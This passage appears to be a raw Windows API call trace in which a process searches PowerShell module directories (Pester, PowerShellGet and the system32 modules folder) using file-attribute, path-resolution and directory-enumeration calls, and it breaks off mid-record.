[0242.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0242.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0242.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0242.163] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.163] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0242.163] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.164] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0242.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0242.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5404c60 | out: lpFileInformation=0x5404c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0242.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0242.164] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.164] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0242.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0242.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0242.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0242.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0242.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0242.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0242.167] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5404ea0 | out: lpFileInformation=0x5404ea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0242.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0242.168] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0242.168] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0242.168] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0242.168] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0242.168] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.ni.dll")) returned 0xffffffff [0242.168] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0242.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0242.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0242.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0242.168] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x78858d8 [0242.169] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.169] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbca000ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0242.169] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.169] FindClose (in: hFindFile=0x78858d8 | out: hFindFile=0x78858d8) returned 1 [0242.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0242.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0242.170] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0242.170] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0242.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0242.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a83f191, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0242.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0242.172] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0242.172] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0242.172] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0242.172] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0242.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0242.172] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5406688 | out: lpFileInformation=0x5406688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a83f191, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0242.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0242.172] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0242.172] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0242.173] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0242.173] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0242.173] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0242.173] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0242.175] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0242.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0242.176] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0242.176] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0242.176] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x55ba8b37, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x55ba8b37, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885418 [0242.177] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x55ba8b37, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x55ba8b37, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.178] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e35c2e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1902eb1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe9611c78, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppLocker", cAlternateFileName="APPLOC~1")) returned 1 [0242.178] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e35c2e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197a24f, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x76586f17, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvClient", cAlternateFileName="APPVCL~1")) returned 1 [0242.178] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197bc54, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx", cAlternateFileName="")) returned 1 [0242.179] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197c4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0242.179] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197cd93, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCache", cAlternateFileName="BRANCH~1")) returned 1 [0242.179] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197d5fb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0242.179] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19ea3b1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20706767, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectAccessClientComponents", cAlternateFileName="DIRECT~1")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19eb58e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dism", cAlternateFileName="")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19ec84e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20706767, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DnsClient", cAlternateFileName="DNSCLI~1")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a636cb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventTracingManagement", cAlternateFileName="EVENTT~1")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a63ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="International", cAlternateFileName="INTERN~1")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a648ba, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI", cAlternateFileName="")) returned 1 [0242.181] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a65091, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0242.181] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a65832, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kds", cAlternateFileName="")) returned 1 [0242.181] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a6609c, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0242.181] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67503, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", 